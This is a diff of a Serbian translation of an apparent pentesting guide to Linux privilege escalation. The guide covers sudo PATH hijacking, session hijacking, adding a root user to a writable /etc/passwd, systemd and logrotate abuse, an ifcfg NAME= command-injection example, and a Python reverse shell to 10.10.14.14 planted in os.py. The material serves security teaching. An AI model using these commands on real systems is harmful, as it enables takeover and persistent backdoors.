`doas` na OpenBSD — ne zaboravite da proverite njegovu konfiguraciju u `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Ako znate da se **korisnik obično povezuje na mašinu i koristi `sudo`** da bi eskalirao privilegije i imate shell u tom korisničkom kontekstu, možete **napraviti novi sudo executable** koji će izvršiti vaš kod kao root, a zatim komandu korisnika. Zatim, **izmenite $PATH** korisničkog konteksta (na primer dodavanjem novog puta u .bash_profile) tako da kada korisnik pokrene sudo, izvrši se vaš sudo executable. +Ako znate da se **korisnik obično povezuje na mašinu i koristi `sudo`** za eskalaciju privilegija i imate shell u tom korisničkom kontekstu, možete **napraviti novi sudo izvršni fajl** koji će pokrenuti vaš kod kao root, a zatim komandu korisnika. Zatim **izmenite $PATH** u korisničkom kontekstu (na primer dodavanjem novog puta u .bash_profile) tako da kada korisnik izvrši sudo, vaš sudo izvršni fajl bude izvršen. -Imajte na umu da ako korisnik koristi drugi shell (ne bash) moraćete izmeniti druge fajlove da dodate novi put. Na primer [sudo-piggyback](https://github.com/APTy/sudo-piggyback) menja `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Možete naći još jedan primer u [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Imajte na umu da ako korisnik koristi drugačiji shell (ne bash) moraćete da izmenite druge fajlove da dodate novi put. Na primer[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifikuje `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Možete naći još jedan primer u [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) Ili pokretanjem nečeg poput: ```bash @@ -1092,12 +1091,12 @@ sudo ls ### ld.so -Datoteka `/etc/ld.so.conf` navodi **odakle potiču učitane konfiguracione datoteke**. Obično ova datoteka sadrži sledeći unos: `include /etc/ld.so.conf.d/*.conf` +Fajl `/etc/ld.so.conf` pokazuje **odakle dolaze učitane konfiguracione datoteke**. Obično ovaj fajl sadrži sledeću liniju: `include /etc/ld.so.conf.d/*.conf` -To znači da će se čitati konfiguracione datoteke iz `/etc/ld.so.conf.d/*.conf`. Ove konfiguracione datoteke **pokazuju na druge foldere** u kojima će se tražiti **biblioteke**. Na primer, sadržaj `/etc/ld.so.conf.d/libc.conf` je `/usr/local/lib`. **To znači da će sistem tražiti biblioteke unutar `/usr/local/lib`**. +To znači da će biti pročitane konfiguracione datoteke iz `/etc/ld.so.conf.d/*.conf`. Ove konfiguracione datoteke **pokazuju na druge foldere** gde će se tražiti **biblioteke**. Na primer, sadržaj `/etc/ld.so.conf.d/libc.conf` je `/usr/local/lib`. **To znači da će sistem tražiti biblioteke unutar `/usr/local/lib`**. -Ako iz nekog razloga **korisnik ima dozvole za pisanje** na bilo kojoj od navedenih putanja: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, bilo kojoj datoteci unutar `/etc/ld.so.conf.d/` ili bilo kojem folderu navedenom u konfiguracionim datotekama unutar `/etc/ld.so.conf.d/*.conf` on može uspeti da escalate privileges.\ -Pogledajte **how to exploit this misconfiguration** na sledećoj stranici: +Ako iz nekog razloga **korisnik ima dozvole za pisanje** na bilo koji od navedenih puteva: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, bilo koju datoteku unutar `/etc/ld.so.conf.d/` ili bilo koji folder naveden u konfig fajlu unutar `/etc/ld.so.conf.d/*.conf` može uspeti da eskalira privilegije.\ +Pogledajte **kako iskoristiti ovu pogrešnu konfiguraciju** na sledećoj stranici: {{#ref}} @@ -1115,7 +1114,7 @@ linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Kopiranjem biblioteke u `/var/tmp/flag15/` ona će biti korišćena od strane programa na ovom mestu, kako je navedeno u promenljivoj `RPATH`. +Kopiranjem lib u `/var/tmp/flag15/` biće korišćena od strane programa na ovom mestu, kako je navedeno u promenljivoj `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1139,8 +1138,8 @@ execve(file,argv,0); ``` ## Capabilities -Linux capabilities provide a **subset of the available root privileges to a process**. This effectively breaks up root **privileges into smaller and distinctive units**. Each of these units can then be independently granted to processes. This way the full set of privileges is reduced, decreasing the risks of exploitation.\ -Pročitajte sledeću stranu da biste **saznali više o capabilities i kako ih zloupotrebiti**: +Linux capabilities provide a **podskup dostupnih root privilegija procesu**. Ovo efikasno razlaže root **privilegije u manje i jasno odvojene jedinice**. Svaka od ovih jedinica može potom biti nezavisno dodeljena procesima. Na taj način se smanjuje ukupan skup privilegija, što umanjuje rizik od eksploatacije.\ +Pročitajte sledeću stranicu da biste **saznali više o capabilities i kako ih zloupotrebiti**: {{#ref}} @@ -1149,39 +1148,39 @@ linux-capabilities.md ## Directory permissions -U direktorijumu, the **bit for "execute"** implies that the user affected can "**cd**" into the folder.\ -The **"read"** bit implies the user can prikazati fajlove u direktorijumu, and the **"write"** bit implies the user can obrisati i kreirati nove fajlove. +U direktorijumu, **bit za "execute"** implicira da pogođeni korisnik može da izvrši "**cd**" u folder.\ +Bit **"read"** znači da korisnik može da **lista** **fajlove**, a bit **"write"** znači da korisnik može da **obriše** i **kreira** nove **fajlove**. ## ACLs -Access Control Lists (ACLs) predstavljaju sekundarni sloj diskrecionih dozvola, sposoban da **overriding the traditional ugo/rwx permissions**. Ove dozvole omogućavaju bolju kontrolu pristupa fajlovima ili direktorijumima tako što dozvoljavaju ili uskraćuju prava specifičnim korisnicima koji nisu vlasnici niti članovi grupe. Ovaj nivo **granularnosti omogućava preciznije upravljanje pristupom**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) predstavljaju sekundarni sloj diskrecionih dozvola, sposoban da **nadjača tradicionalne ugo/rwx dozvole**. Ove dozvole poboljšavaju kontrolu pristupa fajlovima ili direktorijumima tako što omogućavaju ili uskraćuju prava određenim korisnicima koji nisu vlasnici ili deo grupe. Ovaj nivo **granularnosti omogućava preciznije upravljanje pristupom**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Dodeli** korisniku "kali" read and write permissions over a file: +**Dodeli** korisniku "kali" prava čitanja i pisanja nad fajlom: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Preuzmi** datoteke sa određenim ACLs iz sistema: +**Dohvatite** fajlove sa specifičnim ACLs iz sistema: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` ## Otvorene shell sesije -U **starijim verzijama** možda možete **hijack** neku **shell** sesiju drugog korisnika (**root**).\ -U **najnovijim verzijama** moći ćete da se **povežete** na screen sessions samo kao **svoj korisnik**. Međutim, možete naći **zanimljive informacije unutar sesije**. +U **starijim verzijama** možete **hijack** neku **shell** sesiju drugog korisnika (**root**).\ +U **najnovijim verzijama** bićete u mogućnosti da se **povežete** samo na **screen sesije** svog **korisnika**. Međutim, možete pronaći **zanimljive informacije unutar sesije**. ### screen sessions hijacking -**Prikaži screen sessions** +**Prikaži screen sesije** ```bash screen -ls screen -ls / # Show another user' screen sessions ``` ![](<../../images/image (141).png>) -**Priključi se na sesiju** +**Priključi se na session** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image @@ -1189,7 +1188,7 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -Ovo je bio problem sa **old tmux versions**. Nisam mogao da hijack-ujem tmux (v2.1) sesiju koju je kreirao root kao neprivilegovan korisnik. +Ovo je bio problem sa **starim tmux verzijama**. Nisam mogao da hijackujem tmux (v2.1) sesiju koju je kreirao root kao neprivilegovan korisnik. **Prikaži tmux sesije** ```bash @@ -1199,7 +1198,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i ``` ![](<../../images/image (837).png>) -**Priključi se na sesiju** +**Poveži se na sesiju** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1215,47 +1214,47 @@ Check **Valentine box from HTB** za primer. ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Svi SSL i SSH ključevi generisani na Debian based sistemima (Ubuntu, Kubuntu, etc) između septembra 2006. i 13. maja 2008. mogu biti pogođeni ovim bagom.\ -Ovaj bag nastaje prilikom kreiranja novog ssh ključa na tim OS-ovima, jer je **bilo moguće samo 32,768 varijacija**. To znači da se sve mogućnosti mogu izračunati i da **imajući ssh public key možete potražiti odgovarajući private key**. Možete pronaći izračunate mogućnosti ovde: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Svi SSL i SSH ključevi generisani na sistemima zasnovanim na Debianu (Ubuntu, Kubuntu, etc) između September 2006. i May 13th, 2008 mogu biti pogođeni ovim bagom.\ +Ovaj bug nastaje pri kreiranju novog ssh ključa na tim OS-ovima, jer je **bilo moguće samo 32,768 varijacija**. To znači da se sve mogućnosti mogu izračunati i da, **posedujući ssh javni ključ, možete potražiti odgovarajući privatni ključ**. Izračunate mogućnosti možete naći ovde: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### Zanimljive SSH konfiguracione vrednosti +### SSH Interesting configuration values -- **PasswordAuthentication:** Određuje da li je password authentication dozvoljen. Podrazumevano je `no`. -- **PubkeyAuthentication:** Određuje da li je public key authentication dozvoljen. Podrazumevano je `yes`. -- **PermitEmptyPasswords**: Kada je password authentication dozvoljen, određuje da li server dozvoljava prijavu na naloge sa praznim password stringovima. Podrazumevano je `no`. +- **PasswordAuthentication:** Određuje da li je autentifikacija lozinkom dozvoljena. Podrazumevano je `no`. +- **PubkeyAuthentication:** Određuje da li je autentifikacija javnim ključem dozvoljena. Podrazumevano je `yes`. +- **PermitEmptyPasswords**: Kada je autentifikacija lozinkom dozvoljena, određuje da li server dozvoljava prijavu na naloge sa praznim lozinkama. Podrazumevano je `no`. ### PermitRootLogin -Određuje da li root može da se prijavi koristeći ssh, podrazumevano je `no`. Moguće vrednosti: +Određuje da li se root može prijaviti koristeći ssh, podrazumevano je `no`. Moguće vrednosti: -- `yes`: root može da se prijavi koristeći password i private key -- `without-password` or `prohibit-password`: root može da se prijavi samo uz private key -- `forced-commands-only`: root može da se prijavi samo koristeći private key i ako su specificirane command opcije -- `no` : ne +- `yes`: root može da se prijavi koristeći lozinku i privatni ključ +- `without-password` or `prohibit-password`: root se može prijaviti samo pomoću privatnog ključa +- `forced-commands-only`: root se može prijaviti samo koristeći privatni ključ i samo ako su navedene opcije za komande +- `no`: ne ### AuthorizedKeysFile -Određuje fajlove koji sadrže public keys koji se mogu koristiti za user authentication. Može sadržati tokene kao što je `%h`, koji će biti zamenjen home direktorijumom. **Možete navesti apsolutne putanje** (počevši od `/`) ili **relativne putanje u odnosu na korisnikov home**. Na primer: +Određuje fajlove koji sadrže javne ključeve koji se mogu koristiti za autentifikaciju korisnika. Može sadržati tokene poput `%h`, koji će biti zamenjen home direktorijumom. **Možete navesti apsolutne puteve** (koji počinju sa `/`) ili **relativne puteve iz korisničkog home**. Na primer: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Ta konfiguracija znači da, ako pokušate da se prijavite pomoću **privatnog** ključa korisnika "**testusername**", ssh će uporediti javni ključ vašeg ključa sa onima iz `/home/testusername/.ssh/authorized_keys` i `/home/testusername/access` +Ta konfiguracija će ukazati da ako pokušate da se prijavite sa **privatnim** ključem korisnika "**testusername**", ssh će uporediti javni ključ vašeg ključa sa onima koji se nalaze u `/home/testusername/.ssh/authorized_keys` i `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding vam omogućava da **koristite svoje lokalne SSH ključeve umesto da ostavljate ključeve** (bez passphrases!) na vašem serveru. Dakle, moći ćete da **povežete** putem ssh **na jedan host** i odatle **pređete na drugi** host **koristeći** **ključ** koji se nalazi na vašem **početnom hostu**. +SSH agent forwarding vam omogućava da **koristite svoje lokalne SSH ključeve umesto da ostavljate ključeve** (bez passphrases!) na vašem serveru. Dakle, moći ćete da **skočite** putem ssh **na host** i odatle **pređete na drugi host** **koristeći** **ključ** koji se nalazi na vašem **početnom hostu**. -Treba da podesite ovu opciju u `$HOME/.ssh.config` ovako: +Potrebno je да podesite ovu opciju u `$HOME/.ssh.config` ovako: ``` Host example.com ForwardAgent yes ``` -Obratite pažnju da, ako je `Host` `*`, svaki put kada korisnik pređe na drugu mašinu, ta mašina će moći да приступи кључевима (што представља безбедносни проблем). +Obratite pažnju da ako je `Host` postavljen na `*`, svaki put kada korisnik pređe na drugi računar, taj host će moći da pristupi ključevima (što predstavlja bezbednosni problem). -Фајл `/etc/ssh_config` може да **надјача** ове **опције** и да дозволи или онемогући ову конфигурацију.\ -Фајл `/etc/sshd_config` може да **дозволи** или **онемогући** ssh-agent forwarding помоћу кључне речи `AllowAgentForwarding` (подразумевано је дозволено). +Fajl `/etc/ssh_config` može da **prepiše** ove **opcije** i dozvoli ili onemogući ovu konfiguraciju.\ +Fajl `/etc/sshd_config` može da **dozvoli** ili **onemogući** ssh-agent forwarding pomoću ključne reči `AllowAgentForwarding` (podrazumevano je dozvoljeno). -Ако откријете да је Forward Agent конфигурисан у окружењу, прочитајте следећу страницу јер **можда ћете то моћи злоупотребити за ескалацију привилегија**: +Ako ustanovite da je Forward Agent konfigurisan u okruženju, pročitajte sledeću stranicu jer **možda ćete moći da ga zloupotrebite za eskalaciju privilegija**: {{#ref}} @@ -1264,28 +1263,28 @@ ssh-forward-agent-exploitation.md ## Zanimljivi fajlovi -### Fajlovi profila +### Datoteke profila -Фајл `/etc/profile` и фајлови у `/etc/profile.d/` су **скрипте које се извршавају када корисник покрене нови shell**. Дакле, ако можете **уписати или изменити било који од њих, можете ескалирати привилегије**. +Fajl `/etc/profile` i fajlovi u okviru `/etc/profile.d/` su **skripte koje se izvršavaju kada korisnik pokrene novi shell**. Dakle, ako možete da **pišete ili izmenite bilo koji od njih, možete eskalirati privilegije**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Ako se pronađe neka čudna profil skripta, trebalo bi je proveriti zbog **osetljivih podataka**. +Ako se pronađe neka neobična skripta profila, trebalo bi je proveriti zbog **osetljivih detalja**. -### Passwd/Shadow fajlovi +### Passwd/Shadow datoteke -U zavisnosti od OS-a, fajlovi `/etc/passwd` i `/etc/shadow` mogu imati drugo ime ili može postojati backup. Zato je preporučljivo **pronaći sve** i **proveriti da li možete da ih pročitate** kako biste videli **da li u njima postoje hashes**: +U zavisnosti od OS-a, `/etc/passwd` i `/etc/shadow` datoteke mogu imati drugačije ime ili može postojati backup. Stoga se preporučuje da **pronađete sve njih** i **proverite да ли можете да ih прочитате** kako biste videli **da li se u datotekama nalaze hash-ovi**: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -Ponekad se u fajlu `/etc/passwd` (ili ekvivalentnom) mogu naći **password hashes**. +U nekim slučajevima možete pronaći **password hashes** unutar fajla `/etc/passwd` (ili ekvivalentnog) ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### /etc/passwd sa dozvolom upisa +### Writable /etc/passwd Prvo, generišite lozinku koristeći jednu od sledećih komandi. ``` @@ -1293,28 +1292,27 @@ openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Zatim dodajte korisnika `hacker` i dodajte generisanu lozinku. +Zatim dodajte korisnika `hacker` i postavite generisanu lozinku. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -Npr: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Na primer: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` Sada možete koristiti komandu `su` sa `hacker:hacker` -Alternativno, možete koristiti sledeće linije da dodate lažnog korisnika bez lozinke.\ -UPOZORENJE: ovo može narušiti trenutnu sigurnost mašine. +Alternativno, možete koristiti sledeće linije da dodate lažnog korisnika bez lozinke.\ UPOZORENJE: možete ugroziti trenutnu bezbednost mašine. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` NAPOMENA: Na BSD platformama `/etc/passwd` se nalazi na `/etc/pwd.db` i `/etc/master.passwd`, takođe `/etc/shadow` je preimenovan u `/etc/spwd.db`. -Trebate da proverite da li možete da **pišete u neke osetljive fajlove**. Na primer, možete li da pišete u neki **konfiguracioni fajl servisa**? +Treba da proverite da li možete da **pišete u neke osetljive fajlove**. Na primer, možete li da pišete u neki **konfiguracioni fajl servisa**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Na пример, ако машина покреће **tomcat** сервер и можете **изменити фајл конфигурације Tomcat сервиса унутар /etc/systemd/,** онда можете изменити линије: +Na primer, ako mašina pokreće **tomcat** server i možete **modify the Tomcat service configuration file inside /etc/systemd/,** onda možete izmeniti linije: ``` ExecStart=/path/to/backdoor User=root @@ -1322,13 +1320,13 @@ Group=root ``` Vaš backdoor će se izvršiti sledeći put kada se tomcat pokrene. -### Proverite direktorijume +### Proverite foldere -Sledeći direktorijumi mogu sadržati rezervne kopije ili zanimljive informacije: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Verovatno nećete moći da pročitate poslednji, ali pokušajte) +Sledeći folderi mogu sadržati backups ili zanimljive informacije: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Verovatno nećete moći da pročitate poslednji, ali pokušajte) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Neobična lokacija/Owned fajlovi +### Neobična lokacija/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1353,15 +1351,15 @@ find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -p ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` -### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml datoteke +### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml fajlovi ```bash find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null ``` -### Sakriveni fajlovi +### Skriveni fajlovi ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Skripte/Binari u PATH** +### **Skripte/Binarne datoteke u PATH-u** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1377,20 +1375,20 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### Poznate datoteke koje sadrže passwords +### Poznate datoteke koje sadrže lozinke -Pročitajte kod [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), on pretražuje **nekoliko mogućih datoteka koje bi mogle sadržati passwords**.\ -**Još jedan interesantan alat** koji možete koristiti za to je: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) koja je open source aplikacija koja se koristi za dobijanje velikog broja passwords koji su sačuvani na lokalnom računaru za Windows, Linux & Mac. +Pregledajte kod [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), on pretražuje **nekoliko mogućih datoteka koje bi mogle sadržati lozinke**.\ +**Još jedan zanimljiv alat** koji možete koristiti za to je: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) koja je aplikacija otvorenog koda koja služi za pribavljanje velikog broja lozinki pohranjenih na lokalnom računaru za Windows, Linux & Mac. -### Logs +### Logovi -Ako možete čitati logs, možda ćete moći da pronađete **zanimljive/poverljive informacije u njima**. Što je logs čudniji, to će verovatno biti zanimljiviji (verovatno).\ -Takođe, neki "**bad**" konfigurisani (backdoored?) **audit logs** mogu omogućiti da se **zabeleže passwords** unutar audit logs, kao što je objašnjeno u ovom postu: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Ako možete čitati logove, možda ćete u njima naći **interesantne/poverljive informacije**. Što je log čudniji, to će verovatno biti zanimljiviji.\ +Takođe, neki "**loše**" konfigurisani (backdoored?) **audit logs** mogu vam omogućiti da **zabeležite lozinke** unutar audit logova, kao što je objašnjeno u ovom postu: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Za čitanje logova, grupa [**adm**](interesting-groups-linux-pe/index.html#adm-group) će biti od velike pomoći. +Da biste mogli da **čitati logove**, grupa [**adm**](interesting-groups-linux-pe/index.html#adm-group) biće vam od velike pomoći. ### Shell files ```bash @@ -1405,41 +1403,41 @@ Za čitanje logova, grupa [**adm**](interesting-groups-linux-pe/index.html#adm-g ``` ### Generic Creds Search/Regex -Takođe bi trebalo da proverite fajlove koji sadrže reč "**password**" u svom **imenu** ili u **sadržaju**, i takođe proverite IP adrese i emails unutar logova, ili hash-ove pomoću regexps.\ -Neću ovde navoditi kako se sve ovo radi, ali ako vas zanima možete pogledati poslednje provere koje [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) izvršava. +Takođe bi trebalo proveriti fajlove koji sadrže reč "**password**" u svom **imenu** ili u **sadržaju**, kao i proveriti IPs i emails unutar logova, ili hashes regexps.\ +Neću ovde navoditi kako se sve ovo radi, ali ako te zanima možeš pogledati poslednje provere koje [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) izvršava. -## Datoteke u koje se može pisati +## Fajlovi sa pravima za pisanje ### Python library hijacking -Ako znate **odakle** će se pokretati python skripta i **možete pisati u** tom folderu ili možete **izmeniti python biblioteke**, možete izmeniti os biblioteku i ubaciti backdoor (ako možete pisati tamo gde će se python skripta izvršavati, kopirajte i nalepite biblioteku os.py). +Ako znaš **odakle** će se python skripta izvršavati i **možeš pisati** u taj folder ili **možeš modifikovati python libraries**, možeš modifikovati OS library i backdoor it (ako možeš pisati tamo gde će se python skripta izvršavati, kopiraj i nalepi os.py library). -Da biste **ubacili backdoor u biblioteku** samo dodajte na kraj os.py biblioteke sledeću liniju (promenite IP i PORT): +Da **backdoor the library**, jednostavno dodaj na kraj os.py library sledeću liniju (promeni IP i PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Eksploatacija Logrotate +### Logrotate eksploatacija -Ranljivost u `logrotate` omogućava korisnicima sa **write permissions** na log fajlu ili njegovim roditeljskim direktorijumima da potencijalno dobiju eskalirane privilegije. To je zato što se `logrotate`, koji često radi kao **root**, može manipulisati da izvršava proizvoljne fajlove, naročito u direktorijumima kao što je _**/etc/bash_completion.d/**_. Važno je proveriti permisije ne samo u _/var/log_ već i u bilo kojem direktorijumu gde se primenjuje rotacija logova. +Ranljivost u `logrotate` dozvoljava korisnicima sa **write permissions** na log fajlu ili njegovim roditeljskim direktorijumima da potencijalno dobiju eskalirane privilegije. To je zato što se `logrotate`, često pokrenut kao **root**, može manipulisati da izvrši proizvoljne fajlove, posebno u direktorijumima kao što je _**/etc/bash_completion.d/**_. Važno je proveriti permisije ne samo u _/var/log_ već i u bilo kom direktorijumu gde se primenjuje log rotation. > [!TIP] > Ova ranljivost utiče na `logrotate` verziju `3.18.0` i starije -Detaljnije informacije o ranjivosti možete naći na ovoj stranici: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Detaljnije informacije o ranjivosti mogu se naći na sledećoj stranici: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -Možete iskoristiti ovu ranjivost pomoću [**logrotten**](https://github.com/whotwagner/logrotten). +Ovu ranjivost možete iskoristiti pomoću [**logrotten**](https://github.com/whotwagner/logrotten). -Ova ranljivost je veoma slična [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** pa kad god možete menjati logove, proverite ko upravlja tim logovima i proverite da li možete eskalirati privilegije zamenom logova symlink-ovima. +Ova ranljivost je veoma slična [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** pa kad god otkrijete da možete menjati logs, proverite ko upravlja tim logs i proverite da li možete eskalirati privilegije zamenom tih logs symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Referenca ranjivosti:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Ako, iz bilo kog razloga, korisnik može da **write** `ifcf-` skriptu u _/etc/sysconfig/network-scripts_ **ili** može da **adjust** postojeću, onda je vaš **system is pwned**. +Ako, iz bilo kog razloga, korisnik može da **write** `ifcf-` skriptu u _/etc/sysconfig/network-scripts_ **or** može da **adjust** postojeću, onda je vaš **system is pwned**. -Network skripte, _ifcg-eth0_ na primer, koriste se za mrežne konekcije. Izgledaju tačno kao .INI fajlovi. Međutim, one su \~sourced\~ na Linux-u od strane Network Manager (dispatcher.d). +Network scripts, _ifcg-eth0_ na primer, koriste se za network connections. Izgledaju tačno kao .INI fajlovi. Međutim, oni su ~sourced~ na Linuxu od strane Network Manager (dispatcher.d). -U mom slučaju, `NAME=` atribut u ovim network skriptama nije pravilno obrađen. Ako u imenu imate **whitespace/prazan prostor, sistem pokuša da izvrši deo posle praznog prostora**. To znači da **sve posle prvog praznog prostora biva izvršeno kao root**. +U mom slučaju, atribut `NAME=` u ovim network skriptama nije pravilno obrađen. Ako imate **razmak u imenu, sistem pokušava da izvrši deo nakon razmaka**. To znači da **sve posle prvog razmaka se izvršava kao root**. Na primer: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1447,15 +1445,15 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Obratite pažnju na razmak između Network i /bin/id_) +(_Obratite pažnju na prazno mesto između Network i /bin/id_) -### **init, init.d, systemd i rc.d** +### **init, init.d, systemd, and rc.d** -Direktorijum `/etc/init.d` sadrži **skripte** za System V init (SysVinit), **klasični Linux sistem za upravljanje servisima**. Uključuje skripte za `start`, `stop`, `restart`, i ponekad `reload` servise. One se mogu izvršavati direktno ili preko simboličkih linkova u `/etc/rc?.d/`. Alternativna putanja na Redhat sistemima je `/etc/rc.d/init.d`. +Direktorijum `/etc/init.d` sadrži **skripte** za System V init (SysVinit), **klasični Linux sistem za upravljanje servisima**. Uključuje skripte za `start`, `stop`, `restart`, i ponekad `reload` servisa. One se mogu izvršavati direktno ili preko simboličkih linkova koji se nalaze u `/etc/rc?.d/`. Alternativna putanja na Redhat sistemima je `/etc/rc.d/init.d`. -S druge strane, `/etc/init` je povezan sa **Upstart**, novijim sistemom za **upravljanje servisima** koji je uvela Ubuntu, i koristi konfiguracione fajlove za zadatke upravljanja servisima. Uprkos prelasku na Upstart, SysVinit skripte se i dalje koriste zajedno sa Upstart konfiguracijama zbog sloja kompatibilnosti u Upstart. +Sa druge strane, `/etc/init` je vezan za **Upstart**, noviji **sistem za upravljanje servisima** koji je uveo Ubuntu, i koristi konfiguracione fajlove za zadatke upravljanja servisima. Uprkos prelasku na Upstart, SysVinit skripte se i dalje koriste zajedno sa Upstart konfiguracijama zbog sloja kompatibilnosti u Upstart-u. -**systemd** predstavlja moderan init i service manager, nudeći napredne funkcije kao što 